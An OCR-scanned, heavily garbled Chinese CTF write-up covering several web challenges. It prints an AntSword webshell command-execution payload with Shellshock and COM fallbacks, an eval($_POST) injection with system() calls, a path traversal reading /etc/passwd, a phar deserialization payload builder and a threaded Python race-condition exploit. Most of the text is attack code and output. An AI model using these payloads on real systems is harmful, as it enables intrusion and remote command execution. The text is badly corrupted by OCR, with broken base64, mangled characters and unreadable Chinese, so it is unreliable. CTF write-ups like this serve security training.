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1eGVjKCRjKTskc289IGUtPIN@ZEI1dCgpOyRy ZXQuPSRzby@%2BUmVhZEFsbCgpOyRz ZT@KZS@%2BU3RI
1dC49IHN1LTSSZWFkQWxsKCk7cHIpbnQoJHI1dCk7 fWVsc2V7IHILdCASIDEYNztIcmVedXIJuICRyZXQ
ydW5j bWQoJHIuIiAyPiYxIik7cHIpbnQgKCRyZXQhPTApPyJlyZX0Q9eyRyZXR9Ijo0iljs7 fWNhdGNoKEV:
kZS17 ZWNobyAiRVISTII6LYBiLiR1ILTSnZXRNZXNzYWd LKCk7 TTthc291dHB1dCgp02RpZSgp0ws3D%3|
3d97=WalL2]pbi9zaA%3D%3DHTTP/1.1 208 0

Date: Tue, @5 Apr 2022 12:32:85 GMT

Server: Apache/2.4.46 (Unix) mod_fastcgi/mod_fastcgi-SNAP-8918@52141 OpenSSL/1.8

J& TH 18 B H & Biflag.zip


https://blog.csdn.net/m0_51078229
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https://blog.csdn.net/m0_51078229/category_10948464.html

rwain f 1 aryg as 4
Host: 192.168.0.104:8888
Accept-Encoding: gzip, deflate|
User-Agent: Mozilla/4.® (compatible; MSIE 10.8; Windows NT 6.1; Trident/5.8)
Content-Type: application/x-www-form-urlencoded
Content-Length: 832
Connection: close

a=%48eval(%s40base6d_decode (%24_POST%5B'x0569034c161c9 "%5D) )
%3B&118T67606758bc=dXL1VzZXIzL2NoYW5nL1NpdGVzL3R1c3QvZmxhZy56aXA%3D&xB8569834c161c9=0GluaVazZXQ
oImRpc3BsYX1TZ¥Iyb3JzIiwgI jAiKTtAC2V@X3RpbWV TbGltaXQoMCk7ZnVuY3Rpb24gYXN1bmMoJG91dC 17 cmVedXIul
CRvdXQ7 fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2I1TZ2VAX2NvbnR1bnRzKCk7b2] T ZW5 kX2Ns ZWFuUKCk7 ZWN
obyAiZWIzMiIuljcSNTY102VjaG8gQGFzZW5j KCRvdXRwdXQp02VjaG8gIjQ@ZTciliIxZWIZNiI7 fWIiX3NeYXIeKCk7d
H15eyRGPWIhc2UZNFI9kZWNvZGUoc3Vic3RyKGd 1dFItYWdpY19xdWI@ZXNTZ3B jKCk%2Fc3RyaXBzbGFzaGVzKCRTUESTV|
FsiaTE4ZjY3NjAZNzUwYmM1XSkeJFIQTINUWy IpMThmNj c2MDY3NTBiYyJdLDIpKTskZnASQGZvcGVUKCRGLCIyIik7awY|
0QGZnZXRjKCRmcCkpe@BmY2xvc2UolGZwKT tAcmVhZGZpbGUoJEYp0311bHN1e2VjaGBoIkVSUK9S0i8vIENhbiBOb3QgU
mVhZCIp0387 fWNhdGNoKEVAY2VwdG LvbiAkZS 17 ZWNobyAiRVIST1I6LY8iLiR1LTSnZXRNZXNzYWd IKCk7 fTthc291dHB
1dCgp02RpZSgpOwss3D%3DHTTP/1.1 288 0K
Date: Tue, @5 Apr 2022 12:32:18B GMT
Server: Apache/2.4.46 (Unix) mod_fastcgi/mod_fastcgi-SNAP-8918052141 OpenSS5L/1.8.2u mod_wsgi/|
3.5 Python/2.7.13
X-Powered-By: PHP/7.4.21
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
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@eval(@base64_decode($_POST[ 'm8f8d9db647ecd']));

&e57fb9c067c677=03
&g479cf61058cf8=1DY2QgIi9Vc2Vycy9jaGFuZy9TaXR1cy90ZXNOIjt6aXAgLVAgUGFTclppUFdvckQgZmxhZy56aXAgLidvZmxhZy50eHQ7ZW
NobyBbU107cHdk02VjaG8ghevd
&m818d9db647ecd=QGluaV9zZXQoImRpc3BsYX1fZXJyb3JzIiwgIjAiKTtAc2VOX3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXN1bmMoJG91dC17
cmVOdXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b23fZ2VOX2NvbnR1bnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiYjYz
YmEiLiI3ZGZhMjAi02VjaG8gQGFzZW5jKCRvAXRwdXQp02VjaG8gIjgwZSIuIFEXYSI7FWIiX3NOYXIOKCk7dHI5eyRwPWIhc2U2NF9kZWNvZGUo
c3Vic3RyKCRfUESTVFsibzFmYWViZDR1YzNkOTciXSwyKSk7IHMOYmFzZTYOX2R1Y29kZShzdWJzdHIoJF9QT1NUWYInNDc5Y2Y2ZjA10GNmOCId
LDIpKTskZW52c3RyPUBiYXNINjRfZGVjb2R1KHN1YnNOcigkX1BPU1RbIMUIN2ZiOWMwNjdjNjc3I10sMikpOyRkPWRpcm5hbWUoJFOTRVIWRVIb
T1INDUk1QVF9GSUXFTKFNRSIdKTskYz1zdWIzdHIoJGQsSMCwxKTO9Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjtpZihzdWJzdHIoJGQs
MCwxKTO9Ii8iKXtAcHVOZW52KCIQQVRIPSIuZ2VOZW52KCIQQVRITIikuIjovdXNyL2xvY2FsL3NiaW46L3Vzci9sb2NhbC9iaW46L3Vzci9zYmlu
0i91c3IvYmlu0i9zYmlu0i9iaW4iKTt9ZWxzZXtAcHVOZW52KCIQQVRIPSIuZ2VOZW52KCIQQVRIIikuIjtD0Oi9XaW5kb3dzL3N5c3R1bTMy0OOM6
L1dpbmRvd3MvU31zVO9XN]jQ7QzovV21uzZG93cztD0i9XaW5kb3dzLIN5c3R1bTMyL1dpbmRvd3NQb3d1c1NoZWxsL3YXLjAvOyIp031pZighZWiw
dHkoJGVudnN@cikpeyR1lbnZhcnI9ZXhwbGOkZSgifHx8YXNsaW51fHx8IiwgIGVudnNOcik7ZmOyZWFjaCgkZW52YXJyIGFzICR2KSB7aWYgKCF1
bXBOeSgkdikpIHtAcHVOZW52KHNOc19yZXBsYWN1KCI8fHxhc2t1eXx8fCIsICI9TiwgIHYpKTt9fXekcjoieyRwfSB7IGNIIjtmdW5jdGlvbiBm
Z5gkZil73GQ9ZXhwbG9kZSgilCIsQGluaVInZXQoImRpc2FibGVFZnVuY3Rpb25zIikp021mKGVtcHR5KCRKKS173GQOYXIyYXkoKTt9ZWxzZXsk
ZD1hcnJheV9tYXA0J3RyaWOnLGFycmF5X21hcCgnc3RydG9sb3dlcicsIGQpKTtIcmVOdXIuKGZ1bmNOaWouX2V4aXNocygkZikmImlzX2NhbGxh
Ymx1KCRmMKSYmMIW1uX2FycmF5KCRmLCRKKSk7fTtmdW5jdGlvbiBydW5zaGVsbHNob2NrKCRkLCAKYykge21mIChzdWIzdHIoJGQsIDASIDEpIDO9
ICIvIiAmIiBmZSgncHVOZW52]ykgliYgKGZ1KCd1lcnIvcl9sb2cnKSB8FCBMZSgnbWFpbCcpKSkge21lmIChzdHIzdHIocmVhZGxpbmsoIi9ialWav
€c2giKSwgImJIhc2giKSAhPSBGQUXTRSkgeyRObXAgPSBOZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwgJ2FzJyk7cHVOZWS2KCIQSFBFTEOMPSgp
IHsgeDsgfTsgIGMgPiRObXAgMj4mMSIp021mIChmZSgnZXJyb33fbGOnlykpIHtlcnIvcl9sb2coImEiLCAXKTt9IGVsc2Uge21lhaWwoImFAMTI3
LJAUMCAXIiwgIiIsICIiLCAiLWI2Iik7fX0gZWxzZSB7cmVOdXJuIEZhbHN1030kb3VOcHVOIDOEgQGZpbGVFZ2VOX2NvbnR1bnRzKCRObXApOOB1
bmxpbmsoJHRtcCk7aWYgKCRvAXRwdXQgITOgIiIpIHtwcmludCgkb3VOcHVOKTtyZXR1cm4gVHI1ZTt9fXI1dHVYbiBGYWXxzZTt902Z1bmNOaWSu
THJ1bmNtZCgkYy17JHI1dDOWOYRkPWRpcmShbWUoJFOTRVIWRVIbIINDUKk1QVFOGSUXFTKFNRSIdKTtpZihmZSgnc31zdGVtIykpe@BzeXNOZWoo
JGMsJIHI1dCk7fWVsc2VpZihmZSgncGFzc3RocnUnKS17QHBhc3N@aHI1KCRjLCRYyZXQpO311bHNlaWYoZmUoJ3NoZWxsX2VAZWMnKS17cHIpbnQo
QHNOZWXxSsX2V4ZWMoIGMpKTt9ZWxzZW1mKGZ1KCd1leGVjIykpe@BleGVjKCRJLCRVLCRYZXQpO3ByaW50KGpvaW4oIgoi CRVKSk7fWVsc2VpZihm
Z25gncGO9WZWAnKS173GZwPUBWb3BlbigkYywncicpO3doaWx1KCFAZmVvZigkZnApKXtwcmludChAZmd1dHMoJGZwLDIWNDgpKTt9QHBjbG9zZSgk
ZnAp0311bHNlaWYoZmUoJ3Byb2Nfb3B1lbicpKXskcCA9IEBwcm9jX29wZW40IGMs IGFycmF5KDEgPT4gYXJyYXkoJ3BpcGUnLCAndycpLCAyIDO+
IGFycmF5KCdwaXB1lJywgJ3cnKSksICRpbyk7d2hpbGUoIUBMZWIOMKCRpb1lsxXSkpe3ByaW50KEBmMZ2VoOcygkaW9bMVOsMjAOOCkp0313aGlszZSgh
QGZ1b2Y0JGlvWzIdKS17cHIpbnQoQGZnZXRzKCRpb1syXSwyMDQAKSk7fUBmMY2xvc2UoJGlviWzFdKTtAZmNsb3N1KCRpb1syXSk7QHByb2NfY2xv
Cc2U0JHApO311bHNlaWYoZmUoJ2FudHN5c3R1bScpKXtAYW50c31zdGVEKCRIKTtIZWxzZWImKHI1bnNoZWxsc2hvY2s0JGQsICRjKSkge3J1dHVy
biAkcmV@0311bHNlaWYoc3Vic3RyKCRKLDASMSKkhPSIvIiAmIiBAY2xhc3NfZXhpc3RzKCIDTOOiKS17IHcObmV3IENPTSgnVINjcmlwdC5zaGVs
bCcpOyR1PSR3LT51eGVjKCRjKTskc289IGUtPINOZES1dCgpOyRyZXQUPSRzby@+UmVhZEFsbCgpOyRzZTOkZSO+U3RKkRXJIyKCk7IHI1dC49IHNL
LT5SZWFkQWxsKCk7cHIpbnQoJHI1dCk7fWVsc2V7IHI1dCA9IDEYNzt9cmvVOdXJuICRYyZXQ7fTskcmVOPUBYdW5jbWQoJHIUIiAyPiYxIik7cHIp
bnQgKCRyZXQhPTApPyJyZXQ9eyRyZXR9IjoiIjs7FWNhdGNoKEVAY2VwdGlvbiAkZS17ZWNobyAiRVIST1I6Ly8iLiR1LT5NZXRNZXNZYWd1KCk7
fTthc291dHB1dCgpO2RpZSgpOw==

&olfaebd4ec3d97=WalL2]pbi9zaA==
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@ini_set("display_errors", "0");@set_time_limit(®);function asenc( ){return 5 };function asoutput(){

=ob_get_contents();ob_end_clean();echo "b63ba"."7dfa20";echo @asenc( );echo "80e"."11la";}ob_start()
;try{$p=base64_decode(substr( ["olfaebd4ec3d97"],2));$s=baseb64_decode(substr( ["g479cf6f058cf8"],2));
=@base64_decode(substr( ["e57fb9c067c677"],2));$d=dirname( ["SCRIPT_FILENAME"]);$c=substr($d,o

S)=="/"2"-c \"{$sI\"":"/c \"{$s}\"";if(substr($d,0,1)=="/"){@putenv("PATH="".getenv("PATH").":/usr/local/sbin:/u
sr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"); }else{@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windo
ws/SysWOW64;C: /Windows;C: /Windows/System32/WindowsPowerShell/v1.0/;"); }if(!empty( )){ =explode("|||a
sline|||", ) ; foreach( as $v) {if (lempty($v)) {@putenv(str_replace("|||askey]||]|", "=", )); 3} }$r=
"{$p} {%c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty(%$d)){$d=array();}telse{$d=arra
y_map('trim',array_map('strtolower',$d)); }return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};funct
ion runshellshock($d, ) {if (substr($d, @, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (
strstr(readlink("/bin/sh"), "bash") != FALSE) { = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x;
}; > 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("a@1i27.0.0.1", "", "", "-bv");}} else {r
eturn False;} = @file_get_contents( );@unlink( );if ( I="") {print( );return True;}}r
eturn False;};function runcmd($c){ =0; $d=dirname( ["SCRIPT_FILENAME"]);if(fe('system')){@system(%c,

); telseif(fe('passthru’)){@passthru($c, ); telseif(fe('shell _exec')){print(@shell_exec(%$c)); }elseif(fe('exec"’
)){@exec($c, %o, )sprint(join(”

",%0));telseif(fe('popen’)){ =@popen($c,'r');while(!@feof( )){print(@fgets( ,2048)); t@pclose( ); telseif(

fe('proc_open')){ = @proc_open($c, array(l => array('pipe', 'w'), 2 => array('pipe', 'w')), )s;while(!@feof(
[1])){print(@fgets( [1],2048)); twhile(!@feof( [2])){print(@fgets( [2],2048)); y@fclose( [1]);@fclose(
[2]);@proc_close($p);telseif(fe('antsystem')){@antsystem($c);}elseif(runshellshock(%$d, )) {return ; telse
if(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM('WScript.shell');%e=%$w->exec(%c); =$e->Stdout();
oE ->ReadAll(); =$e->StdErr(); .= ->ReadAll();print( ); telse{ = 127;}return 5} =@runcmd
($r." 2>&1");print ( 1=0)?"ret={ Pt jcatch(Exception ){echo "ERROR://".%$e->getMessage();};asoutput()
;die();

REBT AT, RAPITH GRS, Fr ARATLE G I —>echoF: KRB AT LA T

$c,'r');while( of ($fp)) se($Tp); telseif(fe(’

pipe', 'w')), %$io};while(!@ $i0[1]1)){prin ] o[1],2048));while(!@f
c_close($p);telseif(fe('antsystem')){@antsystem{$c); }elseif(runshellshock($d
M('WScript.shell');se={w->exec(%c); $50=$e->Std0ut();$ret.=%$s0->ReadAll()
$ret=@runcmd($r." 2>&1");echo $c:hr.ﬁt $ret!=0) " ret={$ret}":"";: }catc

BIhE B &S PaSsZiPWorD

1g/Sites/test: No such file or directory zip warning: name not matched: ../flag.txt zip e
:[E] —¢ "ed "/Users/chang/Sites/test";zip —-P PaSsZiPWorD flag.zip ../flag.txt;echo [S

B
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E flag.txt - Notepad
File Edit Format View Help

Yes,this is the flag file.
And the flag is:

DASCTF{f3f32f434eddbcbebb5043373af95ae8}

Web
warmup-php
FEMERBRE, SR rundiik

$object->run();

Brun kK R A listview

public function run

echo "<". ->tagName.">\n"
->renderContent
echo "<". ->tagName.">\n"

PATAr & H )5 fEBasefevaluateExpression B fi, X B HREEKIZKETestView, BT AIRATINIX B 47
iX B frenderTableRow /5 2 B i < 3 A\ evaluateExpression, TirenderTableRow ] LA MrenderTableBodyit A

HELskErunT i, EAun %L #EArenderContent, iX B 43 ArenderSection, iX B & iT—Hi#E

renderSection(

B ABRATTAT LRI B X AN #E A renderTableBody, X #EF] B 45wk H 5k T

Action->run()->renderContent()->renderSection()->renderTableBody()->renderTableRow()->evaluateExpression()

WLMEBEFE4IES, HiRaction, RBREENHKTestView, RJGFHproperties, X B SEI X R )E HERE



highlight file(__ FILE_
error_reporting(@e
= ‘action'’
= 'properties’
class Action

public function _ construct

=new

foreach as =

->run

new Action

BAVHE AN TestViewE ER, BEABEWTH®S, ~ZrowHtmlOptionsExpression/gtE

->evaluateExpression(

FTUAREN eval($_PoST[1]) , EREAR —/SHdata, XMIHARM, PBrlAIATW LAREEE M —AME

BAEERListViewEH, XBERPIAT T —ANLESWITHE, BATEIHE 272 MrenderTableBodyidt Z:renderTableRow, Fit BAIX
BRMNTBEUSEHK AP — TableBody

renderSection(

WatEsH properties[template]={TableBody}

B J5 Wipayload
get

Paction=TestView

post



1=system( 'whoami');&properties[data]=ph&properties[rowHtmlOptionsExpression]=eval($_POST[1])&properties[template

]={TableBody}

<?php
spl_autoload_register(function($class){
require("./class/".$class.".php");

b

highlight file( FILE )
error_reporting(0);

§action = $_GET['action'];
$properties = $_POST| 'properties');
class Action{

public function _ construct($action,$properties){

$object=new §action();
foreach($properties as $name=>$value)

$object->$name=$value;
$object->run();

}

new Action($action,$properties);
7>

www-data

TE/readflag= Flflag

nighlight file(_ FILE_ )
error_reporting(0);

$action = §_GET['action'];
$properties = $_POST( 'properties'];
class Action{

public function _ construct($action,$properties){
$object=new $action();
foreach($properties as $name=>$value)
$object->$name=$value;
$object->run();

}

new Action($action,$properties);
7>

flag{d6452229-6aba-428b-b071-e6e06e96a2c9} execute this binary on the server to get the flag!

soeasy_php

R IA Aeditor.php

dde
hidde

LOAD SPLIT EXECUTE TEST -~ saLi -~ XSs - LFI - SSTI

URL
http://a3041017-a635-41c6-88a2-2ca0158a3028.node4.buuoj.cn:81/7action=TestView

enctyp

® Egastfrle application/x-www-form-urlencoded - ADD HEADEF

Body
1=system('whoami’);&properties[data]=ph&properties[rowHtmIOptionsExpr

ession]=eval($_POST[1])&properties[template]={TableBody}

URL
http://a3041017-a635-41c6-88a2-2cal158a3028.noded buuoj.cn:81/?action=TestView

enctype

Enable application/x-www-form-urlencoded - ADD HEADE

POST

Body

1=system(//readflag’);&properties[datal=ph&properties[rowHtmIOptionsEx
pression]=eval($_POST[1])&properties[template]={TableBody}

18 FH T TH ftpayload AT PME & SC 4R 2 X

png=../../../../../../etc/passwd&flag=1



GET /fupleads/head.png HTTP/1.1 1 HTTR/1.1 2@@ 0K

Host: b5B7@cde-3%9ec-4756-a7b7-5d13eB7d0%dB.noded, buuej.cn: 81 2 Server: openresty

Pragma: no—-cache 3 Date: Sat, 23 Apr 20822 11:08:16 GMT

Cache-Control: no-cache 4 Content-Type: image/png

Upgrade-Insecure-Reguests: 1 5 Content-Length: 919

User-Agent: Mozilla/5.8 (Macintosh; Intel Mac 05 X 18_15_7) AppleWebKit/537.36 6 Connection: close

(KHTML, 1like Gecko) Chrome/180.8.4896.88 Safari/537.36 7 Accept-Ranges: bytes
8

Accept: Etag: "S5aaS5c3@e-397"
text/html,application/xhtml+xml,application/xml;q=08.9,image/avif, image/webp,image 9 Last-Modified: Mon, 12 Mar 2018 0@:00:88 GMT
fapng,*/*;q=0.8,application/signed-exchange;v=b3;g=0.9 18

Accept-Encoding: gzip, deflate 11 root:x:@:@:root:/root:/bin/bash
Accept-Language: zh-CN,zh;g=8.9 12 daemon: sdaemon: fusr/sbin: fusr/sbin/nologin
Cookie: UM_distinctid= 13 bin:ix:2 bin:/bin:/usr/sbin/nelogin
17ce66384da%37-0dbedB924913eb-123b6650-1Fad4B0-17ce663B4db1B05 14 sys:x:3:3:sys:/dev:/usr/sbin/nolegin
Connection: close 15 sync:x:4:65534:sync:/bin:/bin/sync

16 games:x:5:6@:games:/usr/games: /usr/sbin/nologin

17 man:x:6:12:man:/var/cache/man: fusr/sbin/nologin

18 lp:x:7:7:lp:/var/spool/lpd:fusr/sbin/nolegin

19 mail tmail: /var/mail: fusr/sbin/nologin

inews: /var/spool/news: fusr/sbin/noleogin

21 uucp:x:1@:1@:uucp:/var/spool/uucp:/usr/sbin/nologin

22 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

23 www-data:x:33:33:www-data: /var/www: /usr/sbin/nologin

24 backup:x:34:34:backup:/var/backups:/usr/sbin/nolegin

25 list:x:3B:38:Mailing List Manager:/var/list:/usr/sbin/nolegin
26 ircix:39:39:ircd:/var/run/ircd: fusr/sbin/nologin

27 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nolog
28 nobody:x:65534:65534:nobody: /nonexistent: fusr/sbin/nologin

20 _apt:x:1@@:65534::/nonexistent:/bin/false

®— TR
upload.php

<?php
if (!isset($_FILES['file'])) {
die("#H LAELBR");

$file = $_FILES['file'];

$filename = md5("png".$file['name’']).".png";

$path = "uploads/".$filename;

if(move_uploaded file($file[ 'tmp_name'],$path)){
echo " RA&ERLT):  ".$path;

¥

editor.php



<?php
class flag{
public function copyflag(){
exec("/copyflag"); //Llroot IRE#|/flag Z /tmp/flag.txt, FHchown www-data:www-data /tmp/flag.txt
echo "SFTQL";
}
public function _ destruct(){
$this->copyflag();

}

function filewrite($file,$data){
unlink($file);
file_put_contents($file, $data);

if(isset($_POST['png'])){
$filename = $_POST['png'];
if(!preg_match("/:|phar|\/\/|php/im",$filename)){
$f = fopen($filename,"r");
$contents = fread($f, filesize($filename));
if(strpos($contents,"flag{") !== false){
filewrite($filename,"Don't give me flag!!!");

}

if(isset($_POST['flag'])) {
$flag = (string)$_POST['flag'];
if ($flag == "Give me flag") {
filewrite("/tmp/flag.txt", "Don't give me flag");
sleep(2);
die("no no no !");
} else {
filewrite("/tmp/flag.txt", $flag); //APLHEEFHEZSflag.
}
$head = "uploads/head.png";
unlink($head);
if (symlink($filename, $head)) {
echo "RINE#HLEZ";
} else {
unlink($filename);
echo "HEIEH M, CHMER";
¥

RIH KM, XBERKMAEERLIXEE, F—1HKfag, 7£ T HZEpostpng]FIMEEIE — N #E 2] uploads/head.png , XEHT
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B R iX B &4 post[flag) 5 #/tmp/ffag.txt, XEMEFTET



MR BATE LA tmp/flag.txt, B2 S B KA IZA, B2t =iEpostlflag])E i#/tmp/flag
XERMNZAISHflagk T, BLXERRETE—IRFT

EH AR, B pharkFFI, Tk RAER
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2B I i i payload:

phar3C {43



<?php
class flag{
public function copyflag(){

exec("/copyflag"); //UrootREH#]|/flag 2 /tmp/flag.txt, FHchown www-data:www-data /tmp/flag.txt

echo "SFTQL";

b
public function _ destruct(){

$this->copyflag();
b
b

$a = new flag();

@unlink("phar.phar");

$phar = new Phar("phar.phar");
$phar->startBuffering();

$phar->setStub("<?php _ HALT_COMPILER(); 2>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

EAEZ B HRZ uploads/Fe409167Fb98b72dcaff5486a612a575. png

FEIRAIAERAE, IR FFIL

i
' png=
phar://..%2F. .%2F. . %2F. .%2F. . %2F. .%2Fvar%s2Fwww%2Fhtm1%2Fuploads%2Ffe4@9167 fb98b7Y
2dcaff5486a612a575.png/test.txtaaaaaaaaaaaaaaaaaaaaaaaaaaraaaasaaaaaaaaaaaaaaaaa
3333333333 3A33AAAA33AAAAAA3AA3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAA
43333333333330330333333333333333033033303033333333333333330330333033323333333333
aaaaaadaadaaddaldadaandandandaaadaadadaddadadadaanldandasdasadadadanddadaadaadaaadaa
333333AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
3233333333333323223323333332332333332333323223323333332332333a333333a332332333a33a
43333333333330330333333333333333033033303033333333333333330330333033323333333333
aaaaaadaadaaddaldadaandandandaaadaadadaddadadadaanldandasdasadadadanddadaadaadaaadaa
333333AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
3233333333333323223323333332332333332333323223323333332332333a333333a332332333a33a
@333333330330030030333333333333303303300A0330333333333333303303A00A0330333333338a
aaaaaadaadaaddaldadaandandandaaadaadadaddadadadaanldandasdasadadadanddadaadaadaaadaa
3333333333 3A33AAAA33AAAAAA3AA3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAA
43333333333330330333333333333333033033303033333333333333330330333033323333333333
aaaaaadaadaaddaldadaandandandaaadaadadaddadadadaanldandasdasadadadanddadaadaadaaadaa
333333AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
3233333333333323223323333332332333332333323223323333332332333a333333a332332333a33a
43333333333330330333333333333333033033303033333333333333330330333033323333333333
aaaaaadaadaaddaldadaandandandaaadaadadaddadadadaanldandasdasadadadanddadaadaadaaadaa
333333AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
3233333333333323223323333332332333332333323223323333332332333a333333a332332333a33a
@333333330330030030333333333333303303300A0330333333333333303303A00A0330333333338a
aaaaaadaadaaddaldadaandandandaaadaadadaddadadadaanldandasdasadadadanddadaadaadaaadaa
3333333333 3A33AAAA33AAAAAA3AA3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAA
43333333333330330233333333333333033033303032332333333333330330333033323323333333
aaaaaadaadaaddaldadaandandandaaadaadadaddadadadaanldandasdasadadadanddadaadaadaaadaa
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1. pharz 7546 H fil &
2. ®WAETE Huploads/head.png

3. Vjlluploads/head.png 3{5 B
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HTTP/1.1 288 OK
Server: openresty

Date: Mon, 25 Apr 2022 18:11:51 GMT

Content-Type: text/html;
Connection: close
¥X-Powered-By: PHP/7.2.3
Content-Length: 35

JFERILAE, SHEBIESFTOL

charset=UTF-8



import requests
import threading
import time

url = "http://94b52e33-8f81-4589-899f-482f234c6cac.node4.buuoj.cn:81"
png = "/uploads/head.png"
flag = "../../../../../../tmp/flag.txt"

phar = """phar://../../../../../../var/www/html/uploads/fe409167fb98b72dcaff5486a612a575.png/test.txtaaaaaaaaaaa
2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaadaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
2aaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaadaaaaadaaaaaaadaaaaadaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
2aaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaraaaaadaaaaaaaaaaaadaaaaaaaaaaaadaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
FEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE EEEEEEEEEEEEEE EEEEEEEEEEEEEEEEE!
2aaaaaaaaaaaaaalaaaaaaaaaaaaaaaaaaraaaaaaaaaaaraaaaaaaaaaadaaaaaaaaaaadaaaaadaaaaaaaraaaaadaaaaaaaaaaaaaaaaaaaaaaaa
2aaaaaaaaadaaaalaaaaaaraaaaraaaaaaraaaaaaaraaaaadaaaaaaaaaaaadaaaaaaaaaraadaaaaraaaaaaadaaaaadaaaaaaadaaaaaaaaaaaaaaaaa
2aaaaaaaaadaaaalaaaaaaaaaaaraaaaaalraaaaaaaaaaaraaaaaaaaaaaadaaaaaaaaaaaadaaaaadaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaa

2aalaaaaaalaaaaaaaaaaalaaaaaaaaaaaaaaaaaaaaaaaa
def getpng():
res = requests.get(url+png)

print(res.text)

def linkflag():

data = {
"flag":"1",
"png":flag
}

res = requests.post(url=url+"/edit.php",data=data)
print(res.text)

def putphar():

data = {
"flag":"1",
"png" :phar
}

res = requests.post(url=url+"/edit.php",data=data)
print(res.text)

while True:

for i in range(19):
t3 = threading.Thread(target=putphar)
t3.start()
t2 = threading.Thread(target=1linkflag)
t2.start()
tl = threading.Thread(target=getpng)
tl.start()

time.sleep(5)



<hr><center>nginx/1.10.3</center>
</body=>
</html=>

RE I EE i 5 &
flag{b51555ba-82c@-4afa-a320-8372d5a886bd}
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flag{b51555ba-82c@-4afa-a320-8372d5a886bd}

flag{b51555ba-82c@-4afa-a320-8372d5a886bd}
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